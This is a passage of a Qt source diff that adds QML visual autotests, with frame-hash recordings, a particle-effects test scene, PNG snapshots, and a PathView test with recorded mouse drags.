msec: 624 + hash: "1b39d555ca8932b40efd769c4ba74d3f" + } + Frame { + msec: 640 + hash: "f9a38e12becbce400191e22f1d22427c" + } + Frame { + msec: 656 + hash: "cbc27c72517d76edfc2d3692cd83f151" + } + Frame { + msec: 672 + hash: "4a883a5aed05f0bbcefcefea6ef56df6" + } + Frame { + msec: 688 + hash: "7a30ea30c0619c87c96bcaba916c64df" + } + Frame { + msec: 704 + hash: "33cd0797b6d229592ed53117fcaaa898" + } + Frame { + msec: 720 + hash: "21178ef9366c8a65ecb9e21d584573b0" + } + Frame { + msec: 736 + hash: "fe75beac8681fdac8a2b79c9c7267128" + } + Frame { + msec: 752 + hash: "df26a23d394e053417de86309683c5e0" + } + Frame { + msec: 768 + hash: "411594a1ed7c351cb872e0a6f3081b1b" + } + Frame { + msec: 784 + hash: "b4b639f204cfed9e1fec872e4de115c2" + } + Frame { + msec: 800 + hash: "4d801e2f4848399c011d60264720b912" + } + Frame { + msec: 816 + hash: "4f28c7b154853ff78cdefb5a5ac9d2b7" + } + Frame { + msec: 832 + hash: "cc6d4283b0d7bf9f579637575d5e1fef" + } + Frame { + msec: 848 + hash: "8edc371d23d01be547990074b5e640af" + } + Frame { + msec: 864 + hash: "874845d7178e6cd8369f21379060f561" + } + Frame { + msec: 880 + hash: "98fb6d79990775385603fb1a50ab5186" + } + Frame { + msec: 896 + hash: "d15539efc27baabb5a74f464b152d266" + } + Frame { + msec: 912 + hash: "fc44d091d6689e8870162a6d29b6d287" + } + Frame { + msec: 928 + hash: "a3c964f4bf524e22092b1650df43375a" + } + Frame { + msec: 944 + hash: "ca203fd630ec1eadea37cf36bd30ba40" + } + Frame { + msec: 960 + image: "particles.0.png" + } + Frame { + msec: 976 + hash: "2e0630818c04fc6c259eec8561c645cd" + } + Frame { + msec: 992 + hash: "a7b1f6305ddcf4a338e1a96ea31a5341" + } + Frame { + msec: 1008 + hash: "23a5013a8f9407d06ac6fd0c1e961743" + } + Frame { + msec: 1024 + hash: "9de73decddaab4269bd33efdb21278a3" + } + Frame { + msec: 1040 + hash: "7582c26b45dd11c262f51b387af89cb2" + } + Frame { + msec: 1056 + hash: "650e0d395f1d1f2ddda8711089d85511" + } + Frame { + msec: 1072 + hash: "9ff84e81219aa6bb7ab534b2a47a3930" + } + Frame { + msec: 1088 + hash: "11e255273e8ca4716047fb52636f0c3e" + } + Frame { + msec: 1104 + hash: "b2fcbefd13db3c765183b1eefc2ca0bc" + } + Frame { + msec: 1120 + hash: "7150aff523c0d480702f6a326699cb65" + } + Frame { + msec: 1136 + hash: "63886c15107a2a7d639069cd81c3cd07" + } + Frame { + msec: 1152 + hash: "1ec1fc30bbb5f43a1d6d36bce345f569" + } + Frame { + msec: 1168 + hash: "34060cbc31ce1fbf406cbb595312c609" + } + Frame { + msec: 1184 + hash: "6f3a04c7f411785956e640aa630f7ac4" + } + Frame { + msec: 1200 + hash: "d7bdb7e170b6f193eaf4b07c01b4dc6b" + } + Frame { + msec: 1216 + hash: "6ca02c0d9cfeb4b1932f7ad1feac9850" + } + Frame { + msec: 1232 + hash: "d446c7b185361de5c615a17ac1fee607" + } + Frame { + msec: 1248 + hash: "bc2faf5b7b2972f155954e4e685e80ae" + } + Frame { + msec: 1264 + hash: "2bf26cedc76aea4a6d9744b7dd935db8" + } + Frame { + msec: 1280 + hash: "accbee9d0f8cf73ef72aa7bfb49b3fa5" + } + Frame { + msec: 1296 + hash: "933eb2e46f42e212bdfc515d30f663d3" + } + Frame { + msec: 1312 + hash: "7495318c893dbb22771b53e93c7614e8" + } + Frame { + msec: 1328 + hash: "894fe23c1b3543451293c047b640c4bb" + } + Frame { + msec: 1344 + hash: "9b7179ef059ee82ca4a383f536f47a42" + } + Frame { + msec: 1360 + hash: "5ec1a5bfac2473efdcad7dba0da4015c" + } + Frame { + msec: 1376 + hash: "2bd64528e83260a80e7f2843e2c34a19" + } + Frame { + msec: 1392 + hash: "16bf64a9bf6b4bc09b108c65d074b5f2" + } + Frame { + msec: 1408 + hash: "c33eaa717ba63655f375499058b1be55" + } + Frame { + msec: 1424 + hash: "d080f4591f9fd59745bf850525590849" + } + Frame { + msec: 1440 + hash: "921585c88ec133c83c07650745bb4441" + } + Frame { + msec: 1456 + hash: "f037b28137b22a0c91fc71fc6626475a" + } + Frame { + msec: 1472 + hash: "e10b3c432a230d5509c2fa7df48b56c9" + } + Frame { + msec: 1488 + hash: "ac02c7b7e68ee8cfad1fe556020e93d8" + } + Frame { + msec: 1504 + hash: "12d59e70dedfa0c741afed9b98cb9a3a" + } + Frame { + msec: 1520 + hash: "a9aa635ccde26829d7e1cdc29fcce8d1" + } + Frame { + msec: 1536 + hash: "f571b3da827b884ad036dade8ad2fe37" + } + Frame { + msec: 1552 + hash: "1ffa8d7512e9001cbc78b28451133b44" + } + Frame { + msec: 1568 + hash: "2ef4b10f2eafd71dfde15f7f00e923c6" + } + Frame { + msec: 1584 + hash: "09b3bc232a134eae5ae14c0336f508ba" + } + Frame { + msec: 1600 + hash: "ebadb5c6b4986c865f7f8ef232680b7e" + } + Frame { + msec: 1616 + hash: "26621991073510e9a95e3b208e3ee56e" + } + Frame { + msec: 1632 + hash: "f18e97f13c06f3c5368edf851f19f401" + } + Frame { + msec: 1648 + hash: "3c322dbbf5ecfe1de56595dcb7d949e1" + } + Frame { + msec: 1664 + hash: "50058d1bb992a6d0601c9d5490149936" + } + Frame { + msec: 1680 + hash: "4cc78f56f13478ec21a4a0d6b22f956b" + } + Frame { + msec: 1696 + hash: "d765cd86560dff3faa5a3c902512c74c" + } + Frame { + msec: 1712 + hash: "ad983068c2149b0c06da3b89a5d94d24" + } + Frame { + msec: 1728 + hash: "e6da7260001771fc00c472bccae641fe" + } + Frame { + msec: 1744 + hash: "71778ad8a61ecb0f78f7234ecf0d1d97" + } + Frame { + msec: 1760 + hash: "6b2209ea5f7f17c2cd868986f0c907d9" + } + Frame { + msec: 1776 + hash: "6513c82829ef7e7c9461dcf5b50f675f" + } + Frame { + msec: 1792 + hash: "0172c5bdf96c8bceab25a6c82bdbe527" + } + Frame { + msec: 1808 + hash: "64b53bf1c1988d3a799b564089f8e63f" + } + Frame { + msec: 1824 + hash: "a1bdea4771ec9719cfe88f4e827bd005" + } + Frame { + msec: 1840 + hash: "263de376cee2ba7701a7ca116bc1be81" + } + Frame { + msec: 1856 + hash: "9795dada7f09d7d4d40df858dea8bc70" + } + Frame { + msec: 1872 + hash: "85ea4c63fc31f79423cb509f6c6d4faa" + } + Frame { + msec: 1888 + hash: "c86d8c4460d1e3c2f26b723dc628fe84" + } + Frame { + msec: 1904 + hash: "6bf6ef1fd377bfcf0b93baa7f28e1d3d" + } + Frame { + msec: 1920 + image: "particles.1.png" + } + Frame { + msec: 1936 + hash: "57b8a48bed9375b74391950c28e611da" + } + Frame { + msec: 1952 + hash: "70203655bc832998529071d7f665ecbe" + } + Frame { + msec: 1968 + hash: "9ab9808d495f907a255d85fbd82491e2" + } + Frame { + msec: 1984 + hash: "297570136b058ba43e883b0aef20d82f" + } + Frame { + msec: 2000 + hash: "0c2f15ce83e2d961ec36299b13890709" + } + Frame { + msec: 2016 + hash: "6d57b6dcb1dbfa35245d79ef36ca49b2" + } + Frame { + msec: 2032 + hash: "12a71804fd71991706d8a39b676d1628" + } + Frame { + msec: 2048 + hash: "f6a9e1b0b498fc576f3eadeb86c08fe9" + } + Frame { + msec: 2064 + hash: "051c2ed34cbef82d44aec4841a33f086" + } + Frame { + msec: 2080 + hash: "12b89590b20fff8d6c94dde40a5d6185" + } + Frame { + msec: 2096 + hash: "7a29cd11ddb042203465a9522ff951ce" + } + Frame { + msec: 2112 + hash: "4853f364261ab8e1c9d35cfe42efb385" + } + Frame { + msec: 2128 + hash: "7149ab3ed649cac9cf662be7c434056f" + } + Frame { + msec: 2144 + hash: "bbe199700474dda156355d31ac09be39" + } + Frame { + msec: 2160 + hash: "a3f3fbbe844b8c6fb8cb8bbcc17120e3" + } + Frame { + msec: 2176 + hash: "e9a04cfe9e8c50f74978fbd4ecce536a" + } + Frame { + msec: 2192 + hash: "0df1d4211f770cdd7b8a98ea476c6f42" + } + Frame { + msec: 2208 + hash: "a6837afb43663b9473db2378b1a9f989" + } + Frame { + msec: 2224 + hash: "691ea67f3b84b8dda449c2a8e86b1087" + } + Frame { + msec: 2240 + hash: "16d18947637c63662b9a502c493f06ec" + } + Frame { + msec: 2256 + hash: "8f9207d404da08706e150f3b64d0088d" + } + Frame { + msec: 2272 + hash: "48ad430e38cdc34845a834cfb9ea70ef" + } + Frame { + msec: 2288 + hash: "1252cfb294ae99c40b03dd021160553f" + } + Frame { + msec: 2304 + hash: "b1d5e752fbe03c95ee0dc7bbdf6fb9f6" + } + Frame { + msec: 2320 + hash: "2282cb42ef0c812ba27e33ed0f962a84" + } + Frame { + msec: 2336 + hash: "42fc82c8d40d383b3cf31a741a4358c5" + } + Frame { + msec: 2352 + hash: "368c1ffa2deb1911929f1769e31c8017" + } + Frame { + msec: 2368 + hash: "8693bdbde404e36970943ac6b650ca00" + } + Frame { + msec: 2384 + hash: "57609613c336029b60da428d48842a4e" + } + Frame { + msec: 2400 + hash: "b61dafe9e87421d3fcf8cb9ff0e7a41b" + } + Frame { + msec: 2416 + hash: "c8c34d1d82bef418ef97f52cb9773cf4" + } + Frame { + msec: 2432 + hash: "aa756c09717dc02e81e76511b4c58f60" + } + Frame { + msec: 2448 + hash: "96e75c5ce1b5393f6cc46fbbe0a67689" + } + Frame { + msec: 2464 + hash: "fb5febae411f43a6cd218b03b36f5018" + } + Frame { + msec: 2480 + hash: "889870fa67784261e7b73b7d0a53324e" + } + Frame { + msec: 2496 + hash: "fb124d4ebee6457f2137f07954619912" + } + Frame { + msec: 2512 + hash: "258ae87f78805c555e0ed802c5123eeb" + } + Frame { + msec: 2528 + hash: "2e730872c37f118a03864d23ebf7bab3" + } + Frame { + msec: 2544 + hash: "381386302f210932bc7d44247a48f13c" + } + Frame { + msec: 2560 + hash: "306f8e6d183eb080da3375d65f2491f0" + } + Frame { + msec: 2576 + hash: "39862f236aabf362d0a07ba64eb212e1" + } + Frame { + msec: 2592 + hash: "57452ecfea80ebd4d9fd23f8efbb34f2" + } + Frame { + msec: 2608 + hash: "64bd12d4f6e32f19abef79289673c2fe" + } + Frame { + msec: 2624 + hash: "56340d636f4df7e5f68e84c1d8388429" + } + Frame { + msec: 2640 + hash: "795cd97d4be294fa6157f23793861ec3" + } + Frame { + msec: 2656 + hash: "4be9fd5314ad6721a0ddf5a5dc51ccee" + } + Frame { + msec: 2672 + hash: "3349b775c329db022bf0414b9ed57466" + } + Frame { + msec: 2688 + hash: "587b7070836063f9d138c4a4ee8da8bb" + } + Frame { + msec: 2704 + hash: "5bb078819bef7695c9af1bd4b544a26a" + } + Frame { + msec: 2720 + hash: "799c05999713e8b29f7d2917f515d2c2" + } + Frame { + msec: 2736 + hash: "41bb926661acd8e21300f4933734748a" + } + Frame { + msec: 2752 + hash: "2ead23d38a2f1834c7688a9657d9d7cc" + } + Frame { + msec: 2768 + hash: "196309eac81adea21630dda19947ef5e" + } + Frame { + msec: 2784 + hash: "cf414b2004712581f11f27890745c761" + } + Frame { + msec: 2800 + hash: "6b2a6837da878fa8f3811b2045e098b1" + } + Frame { + msec: 2816 + hash: "7390cfdef1d4bc194b86854b1947f15d" + } + Frame { + msec: 2832 + hash: "9e4543fcf65a56edfbcaf46805343071" + } + Frame { + msec: 2848 + hash: "3a886e2ed813eb7d44d0cd67eb5dee31" + } + Frame { + msec: 2864 + hash: "625baed6cbf3a58b32060810be53d0b6" + } + Frame { + msec: 2880 + image: "particles.2.png" + } + Frame { + msec: 2896 + hash: "484666ad104cee644c6a7e8ec0c4b10e" + } + Frame { + msec: 2912 + hash: "41abe2e2d92b293407141d0333d7d04a" + } + Frame { + msec: 2928 + hash: "953c03834bd3b50798b77c0c6bb0f4a8" + } + Frame { + msec: 2944 + hash: "a076463868003c62df3ee5147ffd4660" + } + Frame { + msec: 2960 + hash: "b389b5c9ed31816dd562a8f1332d28c9" + } + Frame { + msec: 2976 + hash: "246706829939a2619d64fad63e424fdb" + } + Frame { + msec: 2992 + hash: "d5e644f16bde52c566191a054a1279e5" + } + Frame { + msec: 3008 + hash: "10b2e99d2e08939b75c24a6bbf481858" + } + Frame { + msec: 3024 + hash: "732a7bb0009f394f0039e09594362c75" + } + Frame { + msec: 3040 + hash: "261f38ce42a8a8c86daadd497ecfad07" + } + Frame { + msec: 3056 + hash: "8b66ae6261db386d6c4e88d0146db090" + } + Frame { + msec: 3072 + hash: "dc8dba79e4466059c29725084cf801bb" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml new file mode 100644 index 0000000..2d481c9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml @@ -0,0 +1,54 @@ +import Qt 4.6 + +Rectangle { + width: 640; height: 480; color: "black" + + Particles { id:particlesAnotEmitting + y:60; width: 260; height:30; source: "star.png"; + lifeSpan:1000; count: 50; angle:70; angleDeviation:36; + velocity:30; velocityDeviation:10; emissionRate: 0 + ParticleMotionWander { yvariance:5; xvariance:30; pace:100 } + } + Particles { id:particlesA + y:0; width: 260; height:30; source: "star.png"; + lifeSpan:1000; count: 50; angle:70; angleDeviation:36; + velocity:30; velocityDeviation:10; emissionRate: 10 + ParticleMotionWander { yvariance:5; xvariance:30; pace:100 } + } + + Particles { id:particlesB + y:280; x:180; width:1; height:1; lifeSpan:1000; source: "star.png" + count: 100; angle:270; angleDeviation:45; velocity:50; velocityDeviation:30; + emissionRate: 0 + ParticleMotionGravity { yattractor: 1000; xattractor:0; acceleration:25 } + } + + Timer { running: true; interval: 1000; repeat: true; onTriggered: particlesB.burst(200, 2000); } + + Column{ + x: 340; + Repeater{ + model: 5 + delegate: Component{ + Item{ + width: 100; height: 100 + Rectangle{ + color: "blue" + width: 2; height: 2; + x: 49; y:49; + } + Particles{ + x: 50; y:50; width: 0; height: 0; + fadeInDuration: 0; fadeOutDuration: 0 + lifeSpan: 1000; lifeSpanDeviation:0; + source: "star.png" + count: -1; emissionRate: 120; + emissionVariance: index/2; + velocity: 250; velocityDeviation: 0; + angle: 0; angleDeviation: 0; + } + } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png new file mode 100644 index 0000000..defbde5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png new file mode 100644 index 0000000..18c8a9e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png new file mode 100644 index 0000000..e86acb4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png new file mode 100644 index 0000000..17990b7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png new file mode 100644 index 0000000..18c8a9e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png new file mode 100644 index 0000000..18c8a9e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png new file mode 100644 index 0000000..8636f8f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.6.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.6.png new file mode 100644 index 0000000..fa7c4b6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml new file mode 100644 index 0000000..b8ff925 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml @@ -0,0 +1,2303 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 32 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 48 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 64 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 80 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 96 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 112 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 128 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 144 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 160 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 176 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 192 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 208 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 224 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 240 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 256 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 272 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 288 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 304 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 320 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 336 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 352 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 368 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 384 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 400 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 416 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 432 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 448 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 464 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 480 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 496 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 512 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 528 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 544 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 560 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 576 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 592 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 608 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 624 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 640 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 656 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 672 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 688 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 704 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 720 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 736 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 752 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 768 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 784 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 800 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 816 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 832 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 848 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 864 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 880 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 896 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 912 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 928 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 944 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 960 + image: "test-pathview-2.0.png" + } + Frame { + msec: 976 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 992 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 1008 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 1024 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 1040 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 562; y: 250 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1056 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 557; y: 251 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1072 + hash: "1ed6fa56736cf7cb2f99b5d362974463" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 544; y: 254 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1088 + hash: "24f3dd6c49dd8b19cd0c387409405e18" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 534; y: 258 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1104 + hash: "08c828e7fdfba4252fa7a9fb06eb728e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 511; y: 267 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1120 + hash: "b76110faf8520f52128b5e1af8f2b838" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 499; y: 272 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1136 + hash: "5f56acb5f39ac291cc8e73c0268df214" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 473; y: 281 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1152 + hash: "840ee0c0d8ea94e22e783a15687f979d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 459; y: 285 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1168 + hash: "69827007bbdf5a360ccc34a016315113" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 446; y: 288 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1184 + hash: "2437beb8f9cb39b125611fb186bad820" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 433; y: 290 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 433; y: 290 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1200 + hash: "df07c389b26fc191234c70b97bfaa432" + } + Frame { + msec: 1216 + hash: "8d4e23f4e91d0e0df9d87c3171d5971f" + } + Frame { + msec: 1232 + hash: "dd79837aefeabffa7184be07f2a98969" + } + Frame { + msec: 1248 + hash: "2d9bb2aaf4b882902f090ff0c89053c8" + } + Frame { + msec: 1264 + hash: "b1ec9adbb026d8002a7f16fe9a8d56d2" + } + Frame { + msec: 1280 + hash: "43b23d6e1aeeb36350c3530650e9156f" + } + Frame { + msec: 1296 + hash: "03f231597c4d5010ee71c74217f2483d" + } + Frame { + msec: 1312 + hash: "8607c7412a5a1b4ea1522f28c465a83e" + } + Frame { + msec: 1328 + hash: "671e80e290bec997eb36320ff76fdccf" + } + Frame { + msec: 1344 + hash: "5f6717112bd45e5ebe194e0f87d12be6" + } + Frame { + msec: 1360 + hash: "ca8e33c7a5428d70ae13cb64e5098a48" + } + Frame { + msec: 1376 + hash: "86e60eb395f66bbaa1ec07b3e07013c0" + } + Frame { + msec: 1392 + hash: "342fa6ddc02d0a793e97a79ba8882415" + } + Frame { + msec: 1408 + hash: "a907fbcc47807d4eb6d66e070ea7f2de" + } + Frame { + msec: 1424 + hash: "04838f8b495bed6d050cbe54d00aad31" + } + Frame { + msec: 1440 + hash: "d485534916473ea6c4612230c5a95421" + } + Frame { + msec: 1456 + hash: "1d3da7cc5b9120724645558584f2f0f3" + } + Frame { + msec: 1472 + hash: "c271f057d5f1745e910b2b407c52a4f3" + } + Frame { + msec: 1488 + hash: "050d1814a9ced514db6cfd2732eb76be" + } + Frame { + msec: 1504 + hash: "cfcd21aadfe3fd611caad83920fb2432" + } + Frame { + msec: 1520 + hash: "472f900ef8eef74522da3338ce7fa93e" + } + Frame { + msec: 1536 + hash: "f9d892a81c6ba3b9fc4c6e76082d4fa7" + } + Frame { + msec: 1552 + hash: "a3febe1c3c4585e25a410a91cc34c1fa" + } + Frame { + msec: 1568 + hash: "74cd765c9d9a6fb243070b4a56a07e87" + } + Frame { + msec: 1584 + hash: "469d324abbef017a99bc587bfae622b3" + } + Frame { + msec: 1600 + hash: "6054ff6e658f0a5f5e313f0a724d9610" + } + Frame { + msec: 1616 + hash: "67cee7ebe428c9d35f1f28274f3049d5" + } + Frame { + msec: 1632 + hash: "ce6c3a1dd726eacbba6306e56121beef" + } + Frame { + msec: 1648 + hash: "a7d5f703c98c0c8cd32b189a79e1fd05" + } + Frame { + msec: 1664 + hash: "41cfd9982767ba904843fb73a5a0ed71" + } + Frame { + msec: 1680 + hash: "388dcde17a820800237d1185372d889f" + } + Frame { + msec: 1696 + hash: "3bd72585388f04d55900ccd345cd576e" + } + Frame { + msec: 1712 + hash: "0e5c63b066f2b70000eca7f3aaa3a195" + } + Frame { + msec: 1728 + hash: "15199f3e9f00afc76279b5bbffb78d92" + } + Frame { + msec: 1744 + hash: "596ad681a3b96afbc284e3af5fd173cb" + } + Frame { + msec: 1760 + hash: "e5ae2d0245fc5d74c6ea3f7dddd1ca2a" + } + Frame { + msec: 1776 + hash: "0d152716f9ebe5f0fae3f5cabb20630f" + } + Frame { + msec: 1792 + hash: "74afbfa464b0d19b53432fa4d5ea2804" + } + Frame { + msec: 1808 + hash: "c8aa3f4738a8c07cdf2450a24c885ce6" + } + Frame { + msec: 1824 + hash: "2e4e0003f1b1cb10593075862b972643" + } + Frame { + msec: 1840 + hash: "acea518c7da7330ae78daf5fbfd1a423" + } + Frame { + msec: 1856 + hash: "0b8d4ea6947b522c6aa9a32d9f16723e" + } + Frame { + msec: 1872 + hash: "19f2aef82586817ef574a70865060997" + } + Frame { + msec: 1888 + hash: "115565eb0ba3024dbf15d00ed242c389" + } + Frame { + msec: 1904 + hash: "7e59425c85acf93f5bf55e139c148737" + } + Frame { + msec: 1920 + image: "test-pathview-2.1.png" + } + Frame { + msec: 1936 + hash: "ce96601476cf55f665bef09bb1b038e2" + } + Frame { + msec: 1952 + hash: "dc6eaacefe37fc709ac0bef99110f796" + } + Frame { + msec: 1968 + hash: "82ad9b84425bd8e385524cb052a8fdd4" + } + Frame { + msec: 1984 + hash: "608000b44ade998e225010d5ea562316" + } + Frame { + msec: 2000 + hash: "ec6b4d519b7bafcf5293c2b5e6585007" + } + Frame { + msec: 2016 + hash: "9895792ffa929ba6fc600949f11766b6" + } + Frame { + msec: 2032 + hash: "0d2b27c9ca22520b269f93c90de08df4" + } + Frame { + msec: 2048 + hash: "78a61e4565db709215b419aa56f6efab" + } + Frame { + msec: 2064 + hash: "d6f2aebed062d093c00b27a52f0b14b8" + } + Frame { + msec: 2080 + hash: "21b7a438ad1e835b84e5576e52abbe84" + } + Frame { + msec: 2096 + hash: "703e32f43e9a71b8677d6839a0eafe06" + } + Frame { + msec: 2112 + hash: "b04bea8af558de4120723fc5abd0f36c" + } + Frame { + msec: 2128 + hash: "ac8e91c3b55e058ce8ff08ad6e3af9b6" + } + Frame { + msec: 2144 + hash: "54846c8c70b232d05ff5eaf144f6f7d3" + } + Frame { + msec: 2160 + hash: "52281806f5c80512b4bcab7f61139f74" + } + Frame { + msec: 2176 + hash: "a352657ff34ef8962162c00647df343a" + } + Frame { + msec: 2192 + hash: "3a0b12d1f8bf5cae8ac06289dd30d52a" + } + Frame { + msec: 2208 + hash: "2c6bbcd05719f69b9a67be18de2084a6" + } + Frame 